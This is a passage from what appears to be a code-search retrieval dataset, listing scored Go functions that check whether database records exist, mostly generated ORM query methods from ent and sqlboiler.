"4c03cc64920bd602176aa4e95bba273f", "score": "0.6728887", "text": "func (vrq *VehicleRegistrationQuery) Exist(ctx context.Context) (bool, error) {\n\tif err := vrq.prepareQuery(ctx); err != nil {\n\t\treturn false, err\n\t}\n\treturn vrq.sqlExist(ctx)\n}", "title": "" }, { "docid": "f1d9152fd119b658fa689e72c7217540", "score": "0.67133725", "text": "func (fq *FinancialQuery) Exist(ctx context.Context) (bool, error) {\n\tctx = newQueryContext(ctx, TypeFinancial, \"Exist\")\n\tswitch _, err := fq.FirstID(ctx); {\n\tcase IsNotFound(err):\n\t\treturn false, nil\n\tcase err != nil:\n\t\treturn false, fmt.Errorf(\"ent: check existence: %w\", err)\n\tdefault:\n\t\treturn true, nil\n\t}\n}", "title": "" }, { "docid": "5eb98c79971349dcf09833dbf7a371dc", "score": "0.66723114", "text": "func (rq *RecommendationsQuery) Exist(ctx context.Context) (bool, error) {\n\tif err := rq.prepareQuery(ctx); err != nil {\n\t\treturn false, err\n\t}\n\treturn rq.sqlExist(ctx)\n}", "title": "" }, { "docid": "44eba2f709cec64790c802900e3b1466", "score": "0.6660261", "text": "func (q analysisfeaturepropQuery) Exists() (bool, error) {\n\tvar count int64\n\n\tqueries.SetCount(q.Query)\n\tqueries.SetLimit(q.Query, 1)\n\n\terr := q.Query.QueryRow().Scan(&count)\n\tif err != nil {\n\t\treturn false, errors.Wrap(err, \"chado: failed to check if analysisfeatureprop exists\")\n\t}\n\n\treturn count > 0, nil\n}", "title": "" }, { "docid": "7df7f8096e3b16919b35fab87385ece1", "score": "0.66557443", "text": "func (p *pDriver) Exists(id string) bool {\n\tlogrus.Debugf(\"Graphdriver Exists id %s\", id)\n\treturn false\n}", "title": "" }, { "docid": "d548a4b18b1a4a7a000233eb0d37847a", "score": "0.66485345", "text": "func (aq *AntenatalinformationQuery) Exist(ctx context.Context) (bool, error) {\n\tif err := aq.prepareQuery(ctx); err != nil {\n\t\treturn false, err\n\t}\n\treturn aq.sqlExist(ctx)\n}", "title": "" }, { "docid": "0d79015a65cb6ffa6466ce8e38a1213c", "score": "0.6633759", "text": "func (q relationshipQuery) Exists(ctx context.Context, exec boil.ContextExecutor) (bool, error) {\n\tvar count int64\n\n\tqueries.SetSelect(q.Query, nil)\n\tqueries.SetCount(q.Query)\n\tqueries.SetLimit(q.Query, 1)\n\n\terr := q.Query.QueryRowContext(ctx, exec).Scan(&count)\n\tif err != nil {\n\t\treturn false, errors.Wrap(err, \"entity: failed to check if relationships exists\")\n\t}\n\n\treturn count > 0, nil\n}", "title": "" }, { "docid": "5070dfcb70d494a0ae886b5b54a6da53", "score": "0.6631284", "text": "func (wq *WechatQuery) Exist(ctx context.Context) (bool, error) {\n\tif err := wq.prepareQuery(ctx); err != nil {\n\t\treturn false, err\n\t}\n\treturn wq.sqlExist(ctx)\n}", "title": "" }, { "docid": "f3777fcd260d4ee93cc5b9401d639ee3", "score": "0.6627948", "text": "func (q networkSnapshotQuery) Exists(ctx context.Context, exec boil.ContextExecutor) (bool, error) {\n\tvar count int64\n\n\tqueries.SetSelect(q.Query, nil)\n\tqueries.SetCount(q.Query)\n\tqueries.SetLimit(q.Query, 1)\n\n\terr := q.Query.QueryRowContext(ctx, exec).Scan(&count)\n\tif err != nil {\n\t\treturn false, errors.Wrap(err, \"models: failed to check if network_snapshot exists\")\n\t}\n\n\treturn count > 0, nil\n}", "title": "" }, { "docid": "2572bd8588b2345ffb13c7b851c70d89", "score": "0.6614469", "text": "func (asq *AllocationStrategyQuery) Exist(ctx context.Context) (bool, error) {\n\tif err := asq.prepareQuery(ctx); err != nil {\n\t\treturn false, err\n\t}\n\treturn asq.sqlExist(ctx)\n}", "title": "" }, { "docid": "9d0acf7c28cd2ce5f11dc351bfb2d624", "score": "0.66097194", "text": "func (pq *PharmacistQuery) Exist(ctx context.Context) (bool, error) {\n\tif err := pq.prepareQuery(ctx); err != nil {\n\t\treturn false, err\n\t}\n\treturn pq.sqlExist(ctx)\n}", "title": "" }, { "docid": "e19ec09c42443a5001a945a9705914a7", "score": "0.66032034", "text": "func (kcq *K8sConnectorQuery) Exist(ctx context.Context) (bool, error) {\n\tif err := kcq.prepareQuery(ctx); err != nil {\n\t\treturn false, err\n\t}\n\treturn kcq.sqlExist(ctx)\n}", "title": "" }, { "docid": "9b92a7f3e3618de828faf360dc126e49", "score": "0.65961045", "text": "func (q jbrowseTrackQuery) Exists() (bool, error) {\n\tvar count int64\n\n\tqueries.SetCount(q.Query)\n\tqueries.SetLimit(q.Query, 1)\n\n\terr := q.Query.QueryRow().Scan(&count)\n\tif err != nil {\n\t\treturn false, errors.Wrap(err, \"chado: failed to check if jbrowse_track exists\")\n\t}\n\n\treturn count > 0, nil\n}", "title": "" }, { "docid": "b2e3f3785f0645b4ba50c38c37980382", "score": "0.6586607", "text": "func (aemq *AdverseEventsModuleQuery) Exist(ctx context.Context) (bool, error) {\n\tif err := aemq.prepareQuery(ctx); err != nil {\n\t\treturn false, err\n\t}\n\treturn aemq.sqlExist(ctx)\n}", "title": "" }, { "docid": "48203be80a6cb9c96b8e311b8dbfda04", "score": "0.65670896", "text": "func (kq *KpiQuery) Exist(ctx context.Context) (bool, error) {\n\tif err := kq.prepareQuery(ctx); err != nil {\n\t\treturn false, err\n\t}\n\treturn kq.sqlExist(ctx)\n}", "title": "" }, { "docid": "e8d0c76edd7da1890e9c74ca415da1d2", "score": "0.6562015", "text": "func (rq *ReferrerQuery) Exist(ctx context.Context) (bool, error) {\n\tif err := rq.prepareQuery(ctx); err != nil {\n\t\treturn false, err\n\t}\n\treturn rq.sqlExist(ctx)\n}", "title": "" }, { "docid": "31484eb4a3031487d4cdd4c20b15dbb4", "score": "0.6559662", "text": "func (epdq *EquipmentPositionDefinitionQuery) Exist(ctx context.Context) (bool, error) {\n\treturn epdq.sqlExist(ctx)\n}", "title": "" }, { "docid": "961d0d0437bdf97bfdda28cf92604961", "score": "0.65548265", "text": "func (q genotypeQuery) Exists() (bool, error) {\n\tvar count int64\n\n\tqueries.SetCount(q.Query)\n\tqueries.SetLimit(q.Query, 1)\n\n\terr := q.Query.QueryRow().Scan(&count)\n\tif err != nil {\n\t\treturn false, errors.Wrap(err, \"chado: failed to check if genotype exists\")\n\t}\n\n\treturn count > 0, nil\n}", "title": "" }, { "docid": "2ecc1b820dcae035fab1d1a7754d7d5f", "score": "0.6533993", "text": "func (cq *CarregisterQuery) Exist(ctx context.Context) (bool, error) {\n\tif err := cq.prepareQuery(ctx); err != nil {\n\t\treturn false, err\n\t}\n\treturn cq.sqlExist(ctx)\n}", "title": "" }, { "docid": "a1676deadb3ffa0577eddae849c2a3ef", "score": "0.65168947", "text": "func (oesq *OtherEventStatsQuery) Exist(ctx context.Context) (bool, error) {\n\tif err := oesq.prepareQuery(ctx); err != nil {\n\t\treturn false, err\n\t}\n\treturn oesq.sqlExist(ctx)\n}", "title": "" }, { "docid": "43dfa128d11f27fec4e792b391285c80", "score": "0.6480661", "text": "func (rpq *ResourcePoolQuery) Exist(ctx context.Context) (bool, error) {\n\tif err := rpq.prepareQuery(ctx); err != nil {\n\t\treturn false, err\n\t}\n\treturn rpq.sqlExist(ctx)\n}", "title": "" }, { "docid": "4eb5c876dba257045ac87fa683270577", "score": "0.647685", "text": "func (lodq *LevelOfDangerousQuery) Exist(ctx context.Context) (bool, error) {\n\tif err := lodq.prepareQuery(ctx); err != nil {\n\t\treturn false, err\n\t}\n\treturn lodq.sqlExist(ctx)\n}", "title": "" }, { "docid": "910b80a084a99321fb60e4fa0dac17a3", "score": "0.64569837", "text": "func (q channelQuery) Exists(ctx context.Context, exec boil.ContextExecutor) (bool, error) {\n\tvar count int64\n\n\tqueries.SetSelect(q.Query, nil)\n\tqueries.SetCount(q.Query)\n\tqueries.SetLimit(q.Query, 1)\n\n\terr := q.Query.QueryRowContext(ctx, exec).Scan(&count)\n\tif err != nil {\n\t\treturn false, errors.Wrap(err, \"models: failed to check if channels exists\")\n\t}\n\n\treturn count > 0, nil\n}", "title": "" }, { "docid": "2a6b014ca67dd0d48f3001b0b5a5e095", "score": "0.64515793", "text": "func (upidq *UserPropertyInDeptQuery) Exist(ctx context.Context) (bool, error) {\n\tif err := upidq.prepareQuery(ctx); err != nil {\n\t\treturn false, err\n\t}\n\treturn upidq.sqlExist(ctx)\n}", "title": "" }, { "docid": "a9a2da8491db61d1797cac356a9ced54", "score": "0.64466053", "text": "func (fdq *FlowDraftQuery) Exist(ctx context.Context) (bool, error) {\n\tif err := fdq.prepareQuery(ctx); err != nil {\n\t\treturn false, err\n\t}\n\treturn fdq.sqlExist(ctx)\n}", "title": "" }, { "docid": "a435738b953ad6bcafc0c41fdfe247dc", "score": "0.6439566", "text": "func (q pegasysConnectionQuery) Exists(ctx context.Context, exec boil.ContextExecutor) (bool, error) {\n\tvar count int64\n\n\tqueries.SetSelect(q.Query, nil)\n\tqueries.SetCount(q.Query)\n\tqueries.SetLimit(q.Query, 1)\n\n\terr := q.Query.QueryRowContext(ctx, exec).Scan(&count)\n\tif err != nil {\n\t\treturn false, errors.Wrap(err, \"models: failed to check if pegasys_connections exists\")\n\t}\n\n\treturn count > 0, nil\n}", "title": "" }, { "docid": "fafdcbd96b69c48e12965dfb08818b16", "score": "0.64338875", "text": "func (bq *BookcourseQuery) Exist(ctx context.Context) (bool, error) {\n\tif err := bq.prepareQuery(ctx); err != nil {\n\t\treturn false, err\n\t}\n\treturn bq.sqlExist(ctx)\n}", "title": "" }, { "docid": "2fde137470db45adbff018c099c0efb3", "score": "0.6423441", "text": "func (knq *K8sNamespaceQuery) Exist(ctx context.Context) (bool, error) {\n\tif err := knq.prepareQuery(ctx); err != nil {\n\t\treturn false, err\n\t}\n\treturn knq.sqlExist(ctx)\n}", "title": "" }, { "docid": "1a6e2d47cc4a442f3d286bef73db77b6", "score": "0.6423185", "text": "func (q passengerQuery) Exists(ctx context.Context, exec boil.ContextExecutor) (bool, error) {\n\tvar count int64\n\n\tqueries.SetSelect(q.Query, nil)\n\tqueries.SetCount(q.Query)\n\tqueries.SetLimit(q.Query, 1)\n\n\terr := q.Query.QueryRowContext(ctx, exec).Scan(&count)\n\tif err != nil {\n\t\treturn false, errors.Wrap(err, \"models: failed to check if passenger exists\")\n\t}\n\n\treturn count > 0, nil\n}", "title": "" }, { "docid": "6805fcddb30052b9adfab333fbaa97c6", "score": "0.64060175", "text": "func (q icoQuery) Exists(exec boil.Executor) (bool, error) {\n\tvar count int64\n\n\tqueries.SetSelect(q.Query, nil)\n\tqueries.SetCount(q.Query)\n\tqueries.SetLimit(q.Query, 1)\n\n\terr := q.Query.QueryRow(exec).Scan(&count)\n\tif err != nil {\n\t\treturn false, errors.Wrap(err, \"models: failed to check if ico exists\")\n\t}\n\n\treturn count > 0, nil\n}", "title": "" }, { "docid": "f69bbf3ae78182258edcf9578eb94b2f", "score": "0.6404415", "text": "func (irq *InstructorRoomQuery) Exist(ctx context.Context) (bool, error) {\n\tif err := irq.prepareQuery(ctx); err != nil {\n\t\treturn false, err\n\t}\n\treturn irq.sqlExist(ctx)\n}", "title": "" }, { "docid": "02872d76dcba7b10f7f2b03e6de95e05", "score": "0.6401177", "text": "func (dq *DirectionQuery) Exist(ctx context.Context) (bool, error) {\n\treturn dq.sqlExist(ctx)\n}", "title": "" }, { "docid": "db36ab8e82778d0d6192f03126b2519d", "score": "0.6388078", "text": "func (pq *PageQuery) Exist(ctx context.Context) (bool, error) {\n\tctx = setContextOp(ctx, pq.ctx, \"Exist\")\n\tswitch _, err := pq.FirstID(ctx); {\n\tcase IsNotFound(err):\n\t\treturn false, nil\n\tcase err != nil:\n\t\treturn false, fmt.Errorf(\"ent: check existence: %w\", err)\n\tdefault:\n\t\treturn true, nil\n\t}\n}", "title": "" }, { "docid": "4ca34e4d8a7f149d4fa26872153a6983", "score": "0.6387528", "text": "func (sq *ShoppingQuery) Exist(ctx context.Context) (bool, error) {\n\tif err := sq.prepareQuery(ctx); err != nil {\n\t\treturn false, err\n\t}\n\treturn sq.sqlExist(ctx)\n}", "title": "" }, { "docid": "d3709b8bd5ff0653b9ecdf1553b61afd", "score": "0.63761556", "text": "func (q helloQuery) Exists(ctx context.Context, exec boil.ContextExecutor) (bool, error) {\n\tvar count int64\n\n\tqueries.SetSelect(q.Query, nil)\n\tqueries.SetCount(q.Query)\n\tqueries.SetLimit(q.Query, 1)\n\n\terr := q.Query.QueryRowContext(ctx, exec).Scan(&count)\n\tif err != nil {\n\t\treturn false, errors.Wrap(err, \"models: failed to check if hello exists\")\n\t}\n\n\treturn count > 0, nil\n}", "title": "" }, { "docid": "d73b67dbaed967b90b23588489add545", "score": "0.63758427", "text": "func (q upepFeatureQuery) Exists() (bool, error) {\n\tvar count int64\n\n\tqueries.SetCount(q.Query)\n\tqueries.SetLimit(q.Query, 1)\n\n\terr := q.Query.QueryRow().Scan(&count)\n\tif err != nil {\n\t\treturn false, errors.Wrap(err, \"models: failed to check if upep_features exists\")\n\t}\n\n\treturn count > 0, nil\n}", "title": "" }, { "docid": "9b3caa09b9db5e005400ea6a06106e04", "score": "0.63704586", "text": "func (q notificationQuery) Exists() (bool, error) {\n\tvar count int64\n\n\tqueries.SetCount(q.Query)\n\tqueries.SetLimit(q.Query, 1)\n\n\terr := q.Query.QueryRow().Scan(&count)\n\tif err != nil {\n\t\treturn false, errors.Wrap(err, \"public: failed to check if notification exists\")\n\t}\n\n\treturn count > 0, nil\n}", "title": "" }, { "docid": "dae4ee8af618afa9833aefb5d6852dda", "score": "0.63682187", "text": "func (q categoryQuery) ExistsP() bool {\n\te, err := q.Exists()\n\tif err != nil {\n\t\tpanic(boil.WrapErr(err))\n\t}\n\n\treturn e\n}", "title": "" }, { "docid": "4598eecc019566bff2c2ae5b7f34936a", "score": "0.63663274", "text": "func (ivq *ItemVariationQuery) Exist(ctx context.Context) (bool, error) {\n\tif err := ivq.prepareQuery(ctx); err != nil {\n\t\treturn false, err\n\t}\n\treturn ivq.sqlExist(ctx)\n}", "title": "" }, { "docid": "263c889f6b79cb0f5d1ff423c1952a4f", "score": "0.6362953", "text": "func (q icoQuery) ExistsG() (bool, error) {\n\treturn q.Exists(boil.GetDB())\n}", "title": "" }, { "docid": "93bc8f10a6b100df8c9adb53e7de0fbf", "score": "0.63625115", "text": "func (mimq *MoreInfoModuleQuery) Exist(ctx context.Context) (bool, error) {\n\tif err := mimq.prepareQuery(ctx); err != nil {\n\t\treturn false, err\n\t}\n\treturn mimq.sqlExist(ctx)\n}", "title": "" }, { "docid": "067bd7b53c9cca61c58a9a7996edad8b", "score": "0.63611037", "text": "func (q Queries) Exists() string {\n\treturn q.existsQuery\n}", "title": "" }, { "docid": "19e40abfc07900b8207da7f9e1ab7709", "score": "0.6347163", "text": "func (igq *ImmunocompromisedGroupsQuery) Exist(ctx context.Context) (bool, error) {\n\tif err := igq.prepareQuery(ctx); err != nil {\n\t\treturn false, err\n\t}\n\treturn igq.sqlExist(ctx)\n}", "title": "" }, { "docid": "d8b4aaac5ae4036f8d0224ab244233c5", "score": "0.6335812", "text": "func (isrtq *IPStaticRoutingTableQuery) Exist(ctx context.Context) (bool, error) {\n\tif err := isrtq.prepareQuery(ctx); err != nil {\n\t\treturn false, err\n\t}\n\treturn isrtq.sqlExist(ctx)\n}", "title": "" }, { "docid": "eed8e3d517b57cac7ee2c2ee0b8494f5", "score": "0.63157207", "text": "func (q transactionQuery) ExistsGP() bool {\n\te, err := q.Exists(boil.GetDB())\n\tif err != nil {\n\t\tpanic(boil.WrapErr(err))\n\t}\n\n\treturn e\n}", "title": "" }, { "docid": "88598452e53681a0207f000da4652932", "score": "0.63130087", "text": "func (q divisionQuery) Exists(ctx context.Context, exec boil.ContextExecutor) (bool, error) {\n\tvar count int64\n\n\tqueries.SetSelect(q.Query, nil)\n\tqueries.SetCount(q.Query)\n\tqueries.SetLimit(q.Query, 1)\n\n\terr := q.Query.QueryRowContext(ctx, exec).Scan(&count)\n\tif err != nil {\n\t\treturn false, errors.Wrap(err, \"models: failed to check if division exists\")\n\t}\n\n\treturn count > 0, nil\n}", "title": "" }, { "docid": "a4a9c8513f7e4a6e154b6ab532aa362e", "score": "0.63067394", "text": "func (q notificationQuery) Exists(ctx context.Context, exec boil.ContextExecutor) (bool, error) {\n\tvar count int64\n\n\tqueries.SetCount(q.Query)\n\tqueries.SetLimit(q.Query, 1)\n\n\terr := q.Query.QueryRowContext(ctx, exec).Scan(&count)\n\tif err != nil {\n\t\treturn false, errors.Wrap(err, \"models: failed to check if notifications exists\")\n\t}\n\n\treturn count > 0, nil\n}", "title": "" }, { "docid": "5583c0da35d1d06402dd13c546dce986", "score": "0.6304994", "text": "func (cq *ClubapplicationQuery) Exist(ctx context.Context) (bool, error) {\n\tif err := cq.prepareQuery(ctx); err != nil {\n\t\treturn false, err\n\t}\n\treturn cq.sqlExist(ctx)\n}", "title": "" }, { "docid": "4c0946cbcd091b2976b90e3a3b1f4a7e", "score": "0.63025737", "text": "func (q jbrowseTrackQuery) ExistsP() bool {\n\te, err := q.Exists()\n\tif err != nil {\n\t\tpanic(boil.WrapErr(err))\n\t}\n\n\treturn e\n}", "title": "" }, { "docid": "f4bc065394d5009a6628acc367318694", "score": "0.6299618", "text": "func (oq *OfficerQuery) Exist(ctx context.Context) (bool, error) {\n\tif err := oq.prepareQuery(ctx); err != nil {\n\t\treturn false, err\n\t}\n\treturn oq.sqlExist(ctx)\n}", "title": "" }, { "docid": "63e084d67371dcaf87bd550ad8ba343c", "score": "0.62967527", "text": "func (uq *UserQuery) Exist(ctx context.Context) (bool, error) {\n\tctx = setContextOp(ctx, uq.ctx, \"Exist\")\n\tswitch _, err := uq.FirstID(ctx); {\n\tcase IsNotFound(err):\n\t\treturn false, nil\n\tcase err != nil:\n\t\treturn false, fmt.Errorf(\"ent: check existence: %w\", err)\n\tdefault:\n\t\treturn true, nil\n\t}\n}", "title": "" }, { "docid": "17be3200464fc45914de20c348296164", "score": "0.62963486", "text": "func (iq *InodeQuery) Exist(ctx context.Context) (bool, error) {\n\tif err := iq.prepareQuery(ctx); err != nil {\n\t\treturn false, err\n\t}\n\treturn iq.sqlExist(ctx)\n}", "title": "" }, { "docid": "e30b295f4e258dac1eeb73a37de4749d", "score": "0.6287072", "text": "func (qq *QuestionQuery) Exist(ctx context.Context) (bool, error) {\n\tif err := qq.prepareQuery(ctx); err != nil {\n\t\treturn false, err\n\t}\n\treturn qq.sqlExist(ctx)\n}", "title": "" }, { "docid": "5e732f3381e042de10f6567edd18ba93", "score": "0.6286373", "text": "func (q seqhashlinkQuery) Exists(ctx context.Context, exec boil.ContextExecutor) (bool, error) {\n\tvar count int64\n\n\tqueries.SetSelect(q.Query, nil)\n\tqueries.SetCount(q.Query)\n\tqueries.SetLimit(q.Query, 1)\n\n\terr := q.Query.QueryRowContext(ctx, exec).Scan(&count)\n\tif err != nil {\n\t\treturn false, errors.Wrap(err, \"models: failed to check if seqhashlink exists\")\n\t}\n\n\treturn count > 0, nil\n}", "title": "" }, { "docid": "866eeaa7be32b45b683f8ad17a40f102", "score": "0.6282182", "text": "func (aaq *APIAuditQuery) Exist(ctx context.Context) (bool, error) {\n\tif err := aaq.prepareQuery(ctx); err != nil {\n\t\treturn false, err\n\t}\n\treturn aaq.sqlExist(ctx)\n}", "title": "" }, { "docid": "ad33671179fc56214e23a5ed68ffd06b", "score": "0.62790483", "text": "func (q publisherI18nQuery) Exists() (bool, error) {\n\tvar count int64\n\n\tqueries.SetCount(q.Query)\n\tqueries.SetLimit(q.Query, 1)\n\n\terr := q.Query.QueryRow().Scan(&count)\n\tif err != nil {\n\t\treturn false, errors.Wrap(err, \"mdbmdbmodels: failed to check if publisher_i18n exists\")\n\t}\n\n\treturn count > 0, nil\n}", "title": "" }, { "docid": "313920400e74be9d7057563758817e38", "score": "0.626688", "text": "func (q analysisfeaturepropQuery) ExistsP() bool {\n\te, err := q.Exists()\n\tif err != nil {\n\t\tpanic(boil.WrapErr(err))\n\t}\n\n\treturn e\n}", "title": "" }, { "docid": "7ec294d0c0ba067b42aeee1d58771297", "score": "0.6262088", "text": "func (mweq *MessageWithEnumQuery) Exist(ctx context.Context) (bool, error) {\n\tif err := mweq.prepareQuery(ctx); err != nil {\n\t\treturn false, err\n\t}\n\treturn mweq.sqlExist(ctx)\n}", "title": "" }, { "docid": "4e3bfa30f83370fe5a55c900ec820ffc", "score": "0.62588894", "text": "func (b *QueryBuilder) Exists(query QueryExpr) PredExpr {\n\treturn &predExpr{(&existsExpr{query: query}).init()}\n}", "title": "" }, { "docid": "04f5e183b6ef04860f9d9a65efa001b7", "score": "0.62570494", "text": "func Exists(db gorp.SqlExecutor, key string, name string) (bool, error) {\n\tquery := `\n\t\tselect count(1)\n\t\tfrom workflow\n\t\tjoin project on project.id = workflow.project_id\n\t\twhere project.projectkey = $1\n\t\tand workflow.name = $2`\n\tcount, err := db.SelectInt(query, key, name)\n\tif err != nil {\n\t\treturn false, sdk.WithStack(err)\n\t}\n\treturn count > 0, nil\n}", "title": "" }, { "docid": "47ea12a33caeb48f75a7582872ad6610", "score": "0.62543", "text": "func (tdrq *TCPDetectorResultQuery) Exist(ctx context.Context) (bool, error) {\n\tctx = setContextOp(ctx, tdrq.ctx, \"Exist\")\n\tswitch _, err := tdrq.FirstID(ctx); {\n\tcase IsNotFound(err):\n\t\treturn false, nil\n\tcase err != nil:\n\t\treturn false, fmt.Errorf(\"ent: check existence: %w\", err)\n\tdefault:\n\t\treturn true, nil\n\t}\n}", "title": "" }, { "docid": "84d5c09f8045460f22cfd9eeb0822a01", "score": "0.6253072", "text": "func (lq *LicenseQuery) Exist(ctx context.Context) (bool, error) {\n\tctx = setContextOp(ctx, lq.ctx, \"Exist\")\n\tswitch _, err := lq.FirstID(ctx); {\n\tcase IsNotFound(err):\n\t\treturn false, nil\n\tcase err != nil:\n\t\treturn false, fmt.Errorf(\"ent: check existence: %w\", err)\n\tdefault:\n\t\treturn true, nil\n\t}\n}", "title": "" }, { "docid": "d5a01ed597da2a81899f56fcc61859b2", "score": "0.6244406", "text": "func (q jobStatusQuery) ExistsGP() bool {\n\te, err := q.Exists(boil.GetDB())\n\tif err != nil {\n\t\tpanic(boil.WrapErr(err))\n\t}\n\n\treturn e\n}", "title": "" }, { "docid": "41e26e6ed5dde6a922db8260566886df", "score": "0.6236435", "text": "func (q serviceQuery) Exists(exec boil.Executor) (bool, error) {\n\tvar count int64\n\n\tqueries.SetSelect(q.Query, nil)\n\tqueries.SetCount(q.Query)\n\tqueries.SetLimit(q.Query, 1)\n\n\terr := q.Query.QueryRow(exec).Scan(&count)\n\tif err != nil {\n\t\treturn false, errors.Wrap(err, \"models: failed to check if service exists\")\n\t}\n\n\treturn count > 0, nil\n}", "title": "" }, { "docid": "9faaa467321bc52ebe1e4ab7becbc9b4", "score": "0.6234781", "text": "func (q signerQuery) Exists(exec boil.Executor) (bool, error) {\n\tvar count int64\n\n\tqueries.SetCount(q.Query)\n\tqueries.SetLimit(q.Query, 1)\n\n\terr := q.Query.QueryRow(exec).Scan(&count)\n\tif err != nil {\n\t\treturn false, errors.Wrap(err, \"stellarcore: failed to check if signers exists\")\n\t}\n\n\treturn count > 0, nil\n}", "title": "" }, { "docid": "e1112a7e3ed5ea6e6167a114a2e3f885", "score": "0.62320745", "text": "func (sq *SpecialdoctorQuery) Exist(ctx context.Context) (bool, error) {\n\tif err := sq.prepareQuery(ctx); err != nil {\n\t\treturn false, err\n\t}\n\treturn sq.sqlExist(ctx)\n}", "title": "" }, { "docid": "c27b5fe2356506a9f9892e0481c17bd3", "score": "0.62275636", "text": "func (q serviceQuery) ExistsG() (bool, error) {\n\treturn q.Exists(boil.GetDB())\n}", "title": "" }, { "docid": "594e46fe55b3d23e3e2b5965b7de7124", "score": "0.6227024", "text": "func (q genotypeQuery) ExistsP() bool {\n\te, err := q.Exists()\n\tif err != nil {\n\t\tpanic(boil.WrapErr(err))\n\t}\n\n\treturn e\n}", "title": "" }, { "docid": "dff2b8564dd965e1f848aa1ae586c4bd", "score": "0.6221025", "text": "func (q instrumentJSONQuery) Exists() (bool, error) {\n\tvar count int64\n\n\tqueries.SetCount(q.Query)\n\tqueries.SetLimit(q.Query, 1)\n\n\terr := q.Query.QueryRow().Scan(&count)\n\tif err != nil {\n\t\treturn false, errors.Wrap(err, \"models: failed to check if instrument_json exists\")\n\t}\n\n\treturn count > 0, nil\n}", "title": "" }, { "docid": "96256e586faeb13474df70314a82097d", "score": "0.622074", "text": "func (vcq *VehicleClassQuery) Exist(ctx context.Context) (bool, error) {\n\tif err := vcq.prepareQuery(ctx); err != nil {\n\t\treturn false, err\n\t}\n\treturn vcq.sqlExist(ctx)\n}", "title": "" }, { "docid": "838f9dc9a283934b7bbaa40c70f3e606", "score": "0.62139845", "text": "func (agr *AgentGroupRelation) Exists() bool {\n\treturn agr._exists\n}", "title": "" }, { "docid": "e37ea627db038f7616e8fce35303d7fb", "score": "0.62132365", "text": "func (r *Relationship) Exists(db *system.DB, followedID uint64, followerID uint64) (exists bool, err error) {\n\tif followedID == 0 || followerID == 0 {\n\t\treturn false, r.Errors(ErrorMissingValue, \"followed_id -> \"+string(followedID)+\"follower_id -> \"+string(followerID))\n\t}\n\n\terr = db.QueryRow(r.queryExists(), followedID, followerID).Scan(&exists)\n\n\tif err != nil {\n\t\tlog.Printf(\"Relationship.Exists() followed_id -> %v follower_id -> %v QueryRow() -> %v Err -> %v\", r.FollowedID, r.FollowerID, r.queryExists(), err)\n\t\treturn\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "0371b7c821c4558fc9c7b8edda2d4f0e", "score": "0.6207301", "text": "func (q commentQuery) ExistsGP() bool {\n\te, err := q.Exists(boil.GetDB())\n\tif err != nil {\n\t\tpanic(boil.WrapErr(err))\n\t}\n\n\treturn e\n}", "title": "" }, { "docid": "353224e683811c37b89e3bfa98f48095", "score": "0.6206594", "text": "func (q transactionQuery) Exists(exec boil.Executor) (bool, error) {\n\tvar count int64\n\n\tqueries.SetSelect(q.Query, nil)\n\tqueries.SetCount(q.Query)\n\tqueries.SetLimit(q.Query, 1)\n\n\terr := q.Query.QueryRow(exec).Scan(&count)\n\tif err != nil {\n\t\treturn false, errors.Wrap(err, \"model: failed to check if transaction exists\")\n\t}\n\n\treturn count > 0, nil\n}", "title": "" }, { "docid": "fbdab6b33613ccf370c4c3f705c0ca00", "score": "0.6185415", "text": "func (q taskStepQuery) Exists(exec boil.Executor) (bool, error) {\n\tvar count int64\n\n\tqueries.SetSelect(q.Query, nil)\n\tqueries.SetCount(q.Query)\n\tqueries.SetLimit(q.Query, 1)\n\n\terr := q.Query.QueryRow(exec).Scan(&count)\n\tif err != nil {\n\t\treturn false, errors.Wrap(err, \"db: failed to check if task_steps exists\")\n\t}\n\n\treturn count > 0, nil\n}", "title": "" }, { "docid": "4f60780be9f26150ebe358a7cb59339c", "score": "0.6181988", "text": "func Exists(ctx context.Context, db gorp.SqlExecutor, key string, name string) (bool, error) {\n\t_, end := telemetry.Span(ctx, \"workflow.Exists\")\n\tdefer end()\n\n\tquery := `\n\t\tselect count(1)\n\t\tfrom workflow\n\t\tjoin project on project.id = workflow.project_id\n\t\twhere project.projectkey = $1\n\t\tand workflow.name = $2`\n\tcount, err := db.SelectInt(query, key, name)\n\tif err != nil {\n\t\treturn false, sdk.WithStack(err)\n\t}\n\treturn count > 0, nil\n}", "title": "" }, { "docid": "082899b1bd275c338822b004f9b5d813", "score": "0.61818475", "text": "func (btrq *BarTimeRangeQuery) Exist(ctx context.Context) (bool, error) {\n\tctx = newQueryContext(ctx, TypeBarTimeRange, \"Exist\")\n\tswitch _, err := btrq.FirstID(ctx); {\n\tcase IsNotFound(err):\n\t\treturn false, nil\n\tcase err != nil:\n\t\treturn false, fmt.Errorf(\"ent: check existence: %w\", err)\n\tdefault:\n\t\treturn true, nil\n\t}\n}", "title": "" }, { "docid": "00376656378460b256069f07cb86b491", "score": "0.61542475", "text": "func (ctq *ClinicalTrialQuery) Exist(ctx context.Context) (bool, error) {\n\tif err := ctq.prepareQuery(ctx); err != nil {\n\t\treturn false, err\n\t}\n\treturn ctq.sqlExist(ctx)\n}", "title": "" }, { "docid": "88fa96ae5ca1ca7cd989d0159f9af21f", "score": "0.61460364", "text": "func (q automodRuleQuery) ExistsG(ctx context.Context) (bool, error) {\n\treturn q.Exists(ctx, boil.GetContextDB())\n}", "title": "" }, { "docid": "c4e6f751684e35cd061a6e5563ff1928", "score": "0.61445135", "text": "func (q publisherI18nQuery) ExistsP() bool {\n\te, err := q.Exists()\n\tif err != nil {\n\t\tpanic(boil.WrapErr(err))\n\t}\n\n\treturn e\n}", "title": "" }, { "docid": "6d3046644ffe23f936601d154fc8983c", "score": "0.61421794", "text": "func (s *GatewayAPI) Exists(ctx context.Context, db *mongo.Database, gwID string) (bool, error) {\n\tvar filter directory.GatewayFilter\n\tfilter = filter.WithGWID(gwID)\n\n\tcount, err := filter.Count(ctx, db)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\n\treturn count > 0, nil\n}", "title": "" }, { "docid": "1762f15cca911c274e474ecaeaaff349", "score": "0.61412275", "text": "func (q escrowQuery) Exists(ctx context.Context, exec boil.ContextExecutor) (bool, error) {\n\tvar count int64\n\n\tqueries.SetSelect(q.Query, nil)\n\tqueries.SetCount(q.Query)\n\tqueries.SetLimit(q.Query, 1)\n\n\terr := q.Query.QueryRowContext(ctx, exec).Scan(&count)\n\tif err != nil {\n\t\treturn false, errors.Wrap(err, \"models: failed to check if escrow exists\")\n\t}\n\n\treturn count > 0, nil\n}", "title": "" }, { "docid": "cab627b0fd22dc4d9279effeddababc3", "score": "0.6140637", "text": "func (q 